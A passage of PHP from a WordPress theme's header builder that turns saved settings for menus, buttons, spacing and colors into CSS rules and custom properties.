	if ( ! empty( $second_menu_font_weight ) ) {
		$out .= '--pchb-second-menu-fw:' . $second_menu_font_weight . ';';
	}
	if ( ! empty( $second_menu_fs ) ) {
		$out .= '--pchb-second-menu-fs:' . $second_menu_fs . 'px;';
	}
	if ( ! empty( $second_menu_lh ) ) {
		$out .= '--pchb-second-menu-lh:' . $second_menu_lh . 'px;';
	}
	if ( ! empty( $second_menu_fs_drop ) ) {
		$out .= '--pchb-second-menu-fs_l2:' . $second_menu_fs_drop . 'px;';
	}
	if ( ! empty( $second_menu_mg ) ) {
		$out .= '--pchb-second-menu-mg:' . $second_menu_mg . 'px;';
	}
	if ( ! empty( $second_menu_mgi ) ) {
		$out .= '--pchb-second-menu-mgi:' . $second_menu_mgi . 'px;';
	}
	if ( 'enable' == $second_menu_tt ) {
		$out .= '--pchb-second-menu-tt: none;';
	}
	$out .= '}';

	// Third Menu
	$third_menu_font        = penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_penci_font_for_menu' );
	$third_menu_font_weight = penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_penci_font_weight_menu' );
	$third_menu_fs          = penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_penci_font_size_lv1' );
	$third_menu_lh          = penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_penci_line_height_lv1' );
	$third_menu_fs_drop     = penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_penci_font_size_drop' );
	$third_menu_tt          = penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_penci_menu_uppercase' );
	$third_menu_mg          = penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_penci_lv1_item_spacing' );
	$third_menu_mgi         = penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_penci_lv1_item_margin' );

	$out .= '.pc-builder-element.pc-third-menu{';
	if ( ! empty( $third_menu_font ) ) {
		$out .= '--pchb-third-menu-font:' . penci_builder_get_font_data( $third_menu_font ) . ';';
	}
	if ( ! empty( $third_menu_font_weight ) ) {
		$out .= '--pchb-third-menu-fw:' . $third_menu_font_weight . ';';
	}
	if ( ! empty( $third_menu_fs ) ) {
		$out .= '--pchb-third-menu-fs:' . $third_menu_fs . 'px;';
	}
	if ( ! empty( $third_menu_lh ) ) {
		$out .= '--pchb-third-menu-lh:' . $third_menu_lh . 'px;';
	}
	if ( ! empty( $third_menu_fs_drop ) ) {
		$out .= '--pchb-third-menu-fs_l2:' . $third_menu_fs_drop . 'px;';
	}
	if ( ! empty( $third_menu_mg ) ) {
		$out .= '--pchb-third-menu-mg:' . $third_menu_mg . 'px;';
	}
	if ( ! empty( $third_menu_mgi ) ) {
		$out .= '--pchb-third-menu-mgi:' . $third_menu_mgi . 'px;';
	}
	if ( 'enable' == $third_menu_tt ) {
		$out .= '--pchb-third-menu-tt: none;';
	}

	$out .= '}';

	// Button 1
	$button_1_spacing         = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_spacing_setting' );
	$button_1_border_color    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_border_color' );
	$button_1_border_hv_color = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_border_hv_color' );
	$button_1_bg_color        = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_bg_color' );
	$button_1_bg_hv_color     = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_bg_hv_color' );
	$button_1_txt_color       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_txt_color' );
	$button_1_txt_hv_color    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_txt_hv_color' );

	$out .= '.penci-builder.penci-builder-button.button-1{';
	if ( ! empty( $button_1_spacing ) ) {
		$out .= penci_builder_spacing_extract_data( $button_1_spacing );
	}
	if ( ! empty( $button_1_border_color ) ) {
		$out .= 'border-color:' . $button_1_border_color . ';';
	}
	if ( ! empty( $button_1_bg_color ) ) {
		$out .= 'background-color:' . $button_1_bg_color . ';';
	}
	if ( ! empty( $button_1_txt_color ) ) {
		$out .= 'color:' . $button_1_txt_color . ';';
	}
	$out .= '}';

	$out .= '.penci-builder.penci-builder-button.button-1:hover{';
	if ( ! empty( $button_1_border_hv_color ) ) {
		$out .= 'border-color:' . $button_1_border_hv_color . ';';
	}
	if ( ! empty( $button_1_bg_hv_color ) ) {
		$out .= 'background-color:' . $button_1_bg_hv_color . ';';
	}
	if ( ! empty( $button_1_txt_hv_color ) ) {
		$out .= 'color:' . $button_1_txt_hv_color . ';';
	}
	$out .= '}';

	// Button 2
	$button_2_spacing         = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_spacing_setting' );
	$button_2_border_color    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_border_color' );
	$button_2_border_hv_color = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_border_hv_color' );
	$button_2_bg_color        = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_bg_color' );
	$button_2_bg_hv_color     = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_bg_hv_color' );
	$button_2_txt_color       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_txt_color' );
	$button_2_txt_hv_color    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_txt_hv_color' );

	$out .= '.penci-builder.penci-builder-button.button-2{';
	if ( ! empty( $button_2_spacing ) ) {
		$out .= penci_builder_spacing_extract_data( $button_2_spacing );
	}
	if ( ! empty( $button_2_border_color ) ) {
		$out .= 'border-color:' . $button_2_border_color . ';';
	}
	if ( ! empty( $button_2_bg_color ) ) {
		$out .= 'background-color:' . $button_2_bg_color . ';';
	}
	if ( ! empty( $button_2_txt_color ) ) {
		$out .= 'color:' . $button_2_txt_color . ';';
	}
	$out .= '}';

	$out .= '.penci-builder.penci-builder-button.button-2:hover{';
	if ( ! empty( $button_2_border_hv_color ) ) {
		$out .= 'border-color:' . $button_2_border_hv_color . ';';
	}
	if ( ! empty( $button_2_bg_hv_color ) ) {
		$out .= 'background-color:' . $button_2_bg_hv_color . ';';
	}
	if ( ! empty( $button_2_txt_hv_color ) ) {
		$out .= 'color:' . $button_2_txt_hv_color . ';';
	}
	$out .= '}';

	// Button 3
	$button_3_spacing         = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_spacing_setting' );
	$button_3_border_color    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_border_color' );
	$button_3_border_hv_color = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_border_hv_color' );
	$button_3_bg_color        = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_bg_color' );
	$button_3_bg_hv_color     = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_bg_hv_color' );
	$button_3_txt_color       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_txt_color' );
	$button_3_txt_hv_color    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_txt_hv_color' );

	$out .= '.penci-builder.penci-builder-button.button-3{';
	if ( ! empty( $button_3_spacing ) ) {
		$out .= penci_builder_spacing_extract_data( $button_3_spacing );
	}
	if ( ! empty( $button_3_border_color ) ) {
		$out .= 'border-color:' . $button_3_border_color . ';';
	}
	if ( ! empty( $button_3_bg_color ) ) {
		$out .= 'background-color:' . $button_3_bg_color . ';';
	}
	if ( ! empty( $button_3_txt_color ) ) {
		$out .= 'color:' . $button_3_txt_color . ';';
	}
	$out .= '}';

	$out .= '.penci-builder.penci-builder-button.button-3:hover{';
	if ( ! empty( $button_3_border_hv_color ) ) {
		$out .= 'border-color:' . $button_3_border_hv_color . ';';
	}
	if ( ! empty( $button_3_bg_hv_color ) ) {
		$out .= 'background-color:' . $button_3_bg_hv_color . ';';
	}
	if ( ! empty( $button_3_txt_hv_color ) ) {
		$out .= 'color:' . $button_3_txt_hv_color . ';';
	}
	$out .= '}';

	// Button Mobile
	$button_m_1_spacing         = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_spacing_setting' );
	$button_m_1_border_color    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_border_color' );
	$button_m_1_border_hv_color = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_border_hv_color' );
	$button_m_1_bg_color        = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_bg_color' );
	$button_m_1_bg_hv_color     = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_bg_hv_color' );
	$button_m_1_txt_color       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_txt_color' );
	$button_m_1_txt_hv_color    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_txt_hv_color' );

	$out .= '.penci-builder.penci-builder-button.button-mobile-1{';
	if ( ! empty( $button_m_1_spacing ) ) {
		$out .= penci_builder_spacing_extract_data( $button_m_1_spacing );
	}
	if ( ! empty( $button_m_1_border_color ) ) {
		$out .= 'border-color:' . $button_m_1_border_color . ';';
	}
	if ( ! empty( $button_m_1_bg_color ) ) {
		$out .= 'background-color:' . $button_m_1_bg_color . ';';
	}
	if ( ! empty( $button_m_1_txt_color ) ) {
		$out .= 'color:' . $button_m_1_txt_color . ';';
	}
	$out .= '}';

	$out .= '.penci-builder.penci-builder-button.button-mobile-1:hover{';
	if ( ! empty( $button_m_1_border_hv_color ) ) {
		$out .= 'border-color:' . $button_m_1_border_hv_color . ';';
	}
	if ( ! empty( $button_m_1_bg_hv_color ) ) {
		$out .= 'background-color:' . $button_m_1_bg_hv_color . ';';
	}
	if ( ! empty( $button_m_1_txt_hv_color ) ) {
		$out .= 'color:' . $button_m_1_txt_hv_color . ';';
	}
	$out .= '}';

	// Button Mobile 2
	$button_m_2_spacing         = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_spacing_setting' );
	$button_m_2_border_color    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_border_color' );
	$button_m_2_border_hv_color = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_border_hv_color' );
	$button_m_2_bg_color        = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_bg_color' );
	$button_m_2_bg_hv_color     = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_bg_hv_color' );
	$button_m_2_txt_color       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_txt_color' );
	$button_m_2_txt_hv_color    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_txt_hv_color' );

	$out .= '.penci-builder.penci-builder-button.button-mobile-2{';
	if ( ! empty( $button_m_2_spacing ) ) {
		$out .= penci_builder_spacing_extract_data( $button_m_2_spacing );
	}
	if ( ! empty( $button_m_2_border_color ) ) {
		$out .= 'border-color:' . $button_m_2_border_color . ';';
	}
	if ( ! empty( $button_m_2_bg_color ) ) {
		$out .= 'background-color:' . $button_m_2_bg_color . ';';
	}
	if ( ! empty( $button_m_2_txt_color ) ) {
		$out .= 'color:' . $button_m_2_txt_color . ';';
	}
	$out .= '}';

	$out .= '.penci-builder.penci-builder-button.button-mobile-2:hover{';
	if ( ! empty( $button_m_2_border_hv_color ) ) {
		$out .= 'border-color:' . $button_m_2_border_hv_color . ';';
	}
	if ( ! empty( $button_m_2_bg_hv_color ) ) {
		$out .= 'background-color:' . $button_m_2_bg_hv_color . ';';
	}
	if ( ! empty( $button_m_2_txt_hv_color ) ) {
		$out .= 'color:' . $button_m_2_txt_hv_color . ';';
	}
	$out .= '}';

	// mobile sidebar

	$out .= penci_builder_get_area_css( $header_data, 'sidebar', '', 'header_mobile', '.penci-builder-mobile-sidebar-nav.penci-menu-hbg' );

	// Mobile Menu

	$dropdown_fn  = penci_builder_validate_mod( $header_data, 'penci_header_pb_dropdown_menu_penci_font_for_menu' );
	$dropdown_fw  = penci_builder_validate_mod( $header_data, 'penci_header_pb_dropdown_menu_penci_font_weight_menu' );
	$dropdown_lv1 = penci_builder_validate_mod( $header_data, 'penci_header_pb_dropdown_menu_penci_font_size_lv1' );
	$dropdown_lv2 = penci_builder_validate_mod( $header_data, 'penci_header_pb_dropdown_menu_penci_font_size_drop' );
	$dropdown_tt  = penci_builder_validate_mod( $header_data, 'penci_header_pb_dropdown_menu_penci_menu_uppercase' );

	$out .= '.pc-builder-menu.pc-dropdown-menu{';
	if ( ! empty( $dropdown_fn ) ) {
		$out .= '--pchb-dd-fn:' . penci_builder_get_font_data( $dropdown_fn ) . ';';
	}
	if ( ! empty( $dropdown_fw ) ) {
		$out .= '--pchb-dd-fw:' . $dropdown_fw . ';';
	}
	if ( ! empty( $dropdown_lv1 ) ) {
		$out .= '--pchb-dd-lv1:' . $dropdown_lv1 . 'px;';
	}
	if ( ! empty( $dropdown_lv2 ) ) {
		$out .= '--pchb-dd-lv2:' . $dropdown_lv2 . 'px;';
	}
	$out .= '}';

	if ( 'enable' == $dropdown_tt ) {
		$out .= '.pc-builder-menu.pc-dropdown-menu .menu li a{text-transform: none;}';
	}

	$element_spacings = array(
		'penci_header_pb_block_spacing'                      => '.penci-header-builder .penci-header-block-1',
		'penci_header_pb_block_2_spacing'                    => '.penci-header-builder .penci-header-block-2',
		'penci_header_pb_cart_icon_section_spacing'          => '.penci-header-builder .pb-header-builder.cart-icon',
		'penci_header_pb_compare_icon_section_spacing'       => '.penci-header-builder .penci-builder-elements.compare-icon',
		'penci_header_pb_data_time_spacing'                  => '.penci-header-builder .penci-builder-element.penci-data-time-format',
		'penci_header_pb_dropdown_menu_spacing'              => '.pc-builder-element.pc-builder-menu.pc-dropdown-menu',
		'penci_header_pb_hamburger_menu_spacing'             => '.penci-header-builder .pc-builder-element.penci-menuhbg-wapper',
		'penci_header_pb_logo_spacing'                       => '.penci-header-builder .pc-builder-element.pc-logo',
		'penci_header_pb_main_menu_spacing'                  => '.penci-header-builder .pc-builder-element.pc-builder-menu',
		'penci_header_pb_mobile_menu_spacing'                => '.penci_navbar_mobile .navigation.mobile-menu',
		'penci_header_pb_news_ticker_spacing'                => '.penci-header-builder .penci-builder-element.pctopbar-item',
		'penci_header_search_spacing'                        => '.penci-header-builder .pc-builder-element.penci-top-search',
		'penci_header_pb_second_menu_spacing'                => '.penci-header-builder .pc-builder-element.pc-second-menu',
		'penci_header_pb_third_menu_spacing'                 => '.penci-header-builder .pc-builder-element.pc-third-menu',
		'penci_header_builder_pb_shortcode_spacing'          => '.penci-header-builder .penci-builder-element.penci-shortcodes',
		'penci_header_builder_pb_shortcode_2_spacing'        => '.penci-header-builder .penci-builder-element.penci-shortcodes-2',
		'penci_header_builder_pb_shortcode_3_spacing'        => '.penci-header-builder .penci-builder-element.penci-shortcodes-3',
		'penci_header_builder_pb_shortcode_mobile_spacing'   => '.penci_navbar_mobile .penci-builder-element.penci-shortcodes-mobile,.penci-header-builder .penci-builder-element.penci-shortcodes-mobile',
		'penci_header_pb_social_icon_section_spacing'        => '.penci-header-builder .header-social.penci-builder-element.desktop-social',
		'penci_header_pb_wishlist_icon_section_spacing'      => '.penci-header-builder .pc-builder-element.wishlist-icon',
		'penci_header_pb_login_register_spacing'             => '.penci-header-builder .pc-header-element.pc-login-register',
		'penci_header_pb_login_register_mobile_spacing'      => '.penci-header-builder .pc-header-element.pc-login-register-mobile',
		'penci_header_pb_search_form_menu_spacing'           => '.penci-header-builder .penci-builder-element.pc-search-form',
		'penci_header_pb_search_form_sidebar_menu_spacing'   => '.penci-builder-mobile-sidebar-nav .penci-builder-element.pc-search-form-sidebar',
		'penci_header_mobile_topbar_spacing_setting'         => '.penci-mobile-topbar',
		'penci_header_mobile_midbar_spacing_setting'         => '.penci-mobile-midbar',
		'penci_header_mobile_bottombar_spacing_setting'      => '.penci-mobile-bottombar',
		'penci_header_sticky_top_spacing_setting'            => '.penci-desktop-sticky-top',
		'penci_header_sticky_mid_spacing_setting'            => '.penci-desktop-sticky-mid',
		'penci_header_sticky_bottom_spacing_setting'         => '.penci-desktop-sticky-bottom',
		'penci_header_mobile_sidebar_spacing_setting'        => '.penci-mobile-sidebar-content-wrapper',
		'penci_header_desktop_sticky_spacing_setting'        => '.penci_builder_sticky_header_desktop,',
		'penci_header_pb_vertical_line1_spacing'             => '.penci-builder-element.vertical-line-1',
		'penci_header_pb_vertical_line2_spacing'             => '.penci-builder-element.vertical-line-2',
		'penci_header_pb_vertical_line3_spacing'             => '.penci-builder-element.vertical-line-3',
		'penci_header_pb_vertical_line4_spacing'             => '.penci-builder-element.vertical-line-4',
		'penci_header_pb_vertical_line5_spacing'             => '.penci-builder-element.vertical-line-5',
		'penci_header_pb_vertical_line_mobile1_spacing'      => '.penci-builder-element.vertical-line-mobile-1',
		'penci_header_pb_vertical_line_mobile2_spacing'      => '.penci-builder-element.vertical-line-mobile-2',
		'penci_header_search_btnspacing'                     => '.pc-builder-element.penci-top-search .search-click',
		'penci_header_pb_cart_icon_section_btnspacing'       => '.pb-header-builder.cart-icon',
		'penci_header_pb_compare_icon_section_btnspacing'    => '.penci-builder-elements.pcheader-icon.compare-icon > a',
		'penci_header_pb_mobile_menu_btnspacing'             => '.navigation .button-menu-mobile',
		'penci_header_pb_hamburger_menu_btnspacing'          => '.pc-builder-element a.penci-menuhbg-toggle',
		'penci_header_pb_logo_sidebar_spacing'               => '.penci-builder-mobile-sidebar-nav .pc-builder-element.pb-logo-sidebar-mobile',
		'penci_header_pb_logo_sticky_spacing'                => '.pc-builder-element.pc-logo-sticky',
		'penci_header_pb_social_icon_mobile_section_spacing' => '.penci-builder-mobile-sidebar-nav .penci-builder-element.mobile-social',
		'penci_header_builder_pb_html_mobile_spacing'        => '.penci-builder-mobile-sidebar-nav .penci-builder-element.penci-html-ads-mobile',
		'penci_header_builder_pb_html_mobile_2_spacing'      => '.penci-builder-mobile-sidebar-nav .penci-builder-element.penci-html-ads-mobile-2',
		'penci_header_builder_pb_html_spacing'               => '.penci-builder-element.penci-html-ads-1',
		'penci_header_builder_pb_html_2_spacing'             => '.penci-builder-element.penci-html-ads-2',
		'penci_header_builder_pb_html_3_spacing'             => '.penci-builder-element.penci-html-ads-3',
		'penci_header_pb_darkmode_spacing'                   => '.pc-dmswitcher-element',
		'penci_header_pb_bookmark_spacing'                   => '.penci-header-bookmark-element > a',
	);

	foreach ( $element_spacings as $element => $selector ) {
		$numbers = penci_builder_validate_mod( $header_data, $element );
		if ( ! empty( $numbers ) ) {
			$out .= $selector . '{';
			$out .= penci_builder_spacing_extract_data( $numbers );
			$out .= '}';
		}
	}

	$color_css = array(
		'penci_header_search_icon_color'                   => '.pc-builder-element.penci-top-search .search-click',
		'penci_header_search_icon_hv_color'                => '.pc-builder-element.penci-top-search .search-click:hover',
		'penci_header_search_icon_bcolor'                  => array( 'border-color' => '.pc-builder-element.penci-top-search .search-click' ),
		'penci_header_search_icon_bhcolor'                 => array( 'border-color' => '.pc-builder-element.penci-top-search .search-click:hover' ),
		'penci_header_search_button_bgcolor'               => array( 'background-color' => '.pc-builder-element.penci-top-search .search-click' ),
		'penci_header_search_button_bghcolor'              => array( 'background-color' => '.pc-builder-element.penci-top-search .search-click:hover' ),
		'penci_header_search_btnborder_style'              => array( 'border-style' => '.pc-builder-element.penci-top-search .search-click' ),
		'penci_header_pb_data_time_color'                  => '.penci-builder-element.penci-data-time-format',
		'penci_header_pb_login_register_color'             => '.pc-header-element.pc-login-register a',
		'penci_header_pb_login_register_hv_color'          => '.pc-header-element.pc-login-register a:hover',
		'penci_header_pb_login_register_dropdown_color'    => '.pc-header-element.pc-login-register .pclogin-sub li a',
		'penci_header_pb_login_register_dropdown_hv_color' => '.pc-header-element.pc-login-register .pclogin-sub li a:hover',

		'penci_header_pb_login_register_mobile_color'                => '.pc-header-element.pc-login-register-mobile a',
		'penci_header_pb_login_register_mobile_hv_color'             => '.pc-header-element.pc-login-register-mobile a:hover',
		'penci_header_pb_login_register_mobile_dropdown_color'       => '.pc-header-element.pc-login-register-mobile .pclogin-sub li a',
		'penci_header_pb_login_register_mobile_dropdown_hv_color'    => '.pc-header-element.pc-login-register-mobile .pclogin-sub li a:hover',
		// main menu
		'penci_header_pb_main_menu_penci_menu_color'                 => '.pc-builder-element.pc-main-menu .navigation .menu > li > a,.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu a',
		'penci_header_pb_main_menu_penci_menu_hv_color'              => '.pc-builder-element.pc-main-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-main-menu .navigation .menu > li:hover > a,.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu a:hover',
		'penci_header_pb_main_menu_penci_menu_active_color'          => '.pc-builder-element.pc-main-menu .navigation .menu li.current-menu-item > a,.pc-builder-element.pc-main-menu .navigation .menu > li.current_page_item > a,.pc-builder-element.pc-main-menu .navigation .menu > li.current-menu-ancestor > a,.pc-builder-element.pc-main-menu .navigation .menu > li.current-menu-item > a',
		'penci_header_pb_main_menu_penci_submenu_color'              => '.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu li a',
		'penci_header_pb_main_menu_penci_submenu_hv_color'           => '.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu li a:hover',
		'penci_header_pb_main_menu_penci_submenu_activecl'           => '.pc-builder-element.pc-main-menu .navigation .menu .sub-menu li.current-menu-item > a,.pc-builder-element.pc-main-menu .navigation .menu .sub-menu > li.current_page_item > a,.pc-builder-element.pc-main-menu .navigation .menu .sub-menu > li.current-menu-ancestor > a,.pc-builder-element.pc-main-menu .navigation .menu .sub-menu > li.current-menu-item > a',
		'penci_header_pb_main_menu_penci_menu_bg_color'              => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu > li > a',
		),
		'penci_header_pb_main_menu_penci_menu_line_hv_color'         => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation ul.menu > li > a:before, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu > ul.sub-menu > li > a:before',
		),
		'penci_header_pb_main_menu_penci_menu_bg_hv_color'           => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li > a:hover, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li:hover > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current-menu-item > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current_page_item > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current-menu-item > a',
		),
		'penci_header_pb_main_menu_penci_mega_bg_color'              => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega), .pc-builder-element.pc-builder-menu.pc-main-menu .navigation.menu-style-1 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation.menu-style-1 .penci-megamenu .penci-mega-child-categories a.cat-active:before',
		),
		'penci_header_pb_main_menu_penci_mega_child_cat_bg_color'    => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation.menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active',
		),
		'penci_header_pb_main_menu_penci_mega_post_date_color'       => array(
			'color' => '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-date, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-megamenu .pcmis-2 .penci-mega-date',
		),
		'penci_header_pb_main_menu_penci_mega_post_category_color'   => array(
			'color' => '.pc-builder-element.pc-builder-menu.pc-main-menu .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
		),
		'penci_header_pb_main_menu_penci_mega_post_title_color'      => array(
			'color' => '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu ul.sub-menu li .pcmis-2 .penci-mega-post a,.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu .penci-megamenu:not(.penci-block-mega) .penci-mega-latest-posts .penci-mega-post .post-mega-title a',
		),
		'penci_header_pb_main_menu_penci_mega_accent_color'          => array(
			'color'            => '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a:hover, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu .penci-megamenu:not(.penci-block-mega) .penci-mega-latest-posts .penci-mega-post .post-mega-title a:hover',
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
		),
		'penci_header_pb_main_menu_penci_mega_border_style2'         => array(
			'border-color' => '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation.menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a::after',
		),
		'penci_header_pb_main_menu_penci_submenu_bordercolor'        => array(
			'border-color'        => '.pc-builder-element.pc-main-menu .penci-dropdown-menu,.pc-builder-element.pc-main-menu .navigation .menu .sub-menu, .pc-builder-element.pc-main-menu .navigation ul.menu > li.megamenu > ul.sub-menu,.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu li > a, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation.menu-style-1 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active',
			'background-color'    => '.pc-builder-element.pc-main-menu .menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post:before,.pc-builder-element.pc-main-menu .navigation ul.menu > li.megamenu > ul.sub-menu > li:before, .pc-builder-element.pc-main-menu .navigation.menu-style-2 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.all-style:before, .pc-builder-element.pc-main-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories:after, .pc-builder-element.pc-main-menu .navigation .penci-megamenu .penci-mega-child-categories:after',
			'border-top-color'    => '.pc-builder-element.pc-main-menu .navigation.menu-style-2 .menu .sub-menu',
			'border-bottom-color' => '.pc-builder-element.pc-main-menu .navigation.menu-style-3 .menu .sub-menu:before',
			'border-right-color'  => '.pc-builder-element.pc-main-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:before',
		),
		'penci_header_pb_main_menu_penci_submenu_bgcolor'            => array(
			'background-color'    => '.pc-builder-element.pc-main-menu .navigation ul.menu > li.megamenu > ul.sub-menu, .pc-builder-element.pc-main-menu .navigation .menu .sub-menu, .pc-builder-element.pc-main-menu .navigation .menu .children',
			'border-bottom-color' => '.pc-builder-element.pc-main-menu .navigation.menu-style-3 .menu .sub-menu:after',
			'border-right-color'  => '.pc-builder-element.pc-main-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:after',
		),
		'penci_header_pb_main_menu_drop_border_style2'               => array(
			'background-color' => '.pc-builder-element.pc-main-menu .navigation.menu-style-2 ul.menu ul:before',
		),

		// second menu
		'penci_header_pb_second_menu_penci_menu_color'               => '.pc-builder-element.pc-second-menu .navigation .menu > li > a,.pc-builder-element.pc-second-menu .navigation ul.menu ul.sub-menu a',
		'penci_header_pb_second_menu_penci_menu_hv_color'            => '.pc-builder-element.pc-second-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-second-menu .navigation .menu > li:hover > a,.pc-builder-element.pc-second-menu .navigation ul.menu ul.sub-menu a:hover',
		'penci_header_pb_second_menu_penci_menu_active_color'        => '.pc-builder-element.pc-second-menu .navigation .menu li.current-menu-item > a,.pc-builder-element.pc-second-menu .navigation .menu > li.current_page_item > a,.pc-builder-element.pc-second-menu .navigation .menu > li.current-menu-ancestor > a,.pc-builder-element.pc-second-menu .navigation .menu > li.current-menu-item > a',
		'penci_header_pb_second_menu_penci_submenu_color'            => '.pc-builder-element.pc-second-menu .navigation ul.menu ul.sub-menu li a',
		'penci_header_pb_second_menu_penci_submenu_hv_color'         => '.pc-builder-element.pc-second-menu .navigation ul.menu ul.sub-menu li a:hover',
		'penci_header_pb_second_menu_penci_submenu_activecl'         => '.pc-builder-element.pc-second-menu .navigation .menu .sub-menu li.current-menu-item > a,.pc-builder-element.pc-second-menu .navigation .menu .sub-menu > li.current_page_item > a,.pc-builder-element.pc-second-menu .navigation .menu .sub-menu > li.current-menu-ancestor > a,.pc-builder-element.pc-second-menu .navigation .menu .sub-menu > li.current-menu-item > a',
		'penci_header_pb_second_menu_penci_menu_bg_color'            => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu > li > a',
		),
		'penci_header_pb_second_menu_penci_menu_line_hv_color'       => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation ul.menu > li > a:before, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu > ul > li > a:before',
		),
		'penci_header_pb_second_menu_penci_menu_bg_hv_color'         => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li > a:hover, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li:hover > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current-menu-item > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current_page_item > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current-menu-item > a',
		),
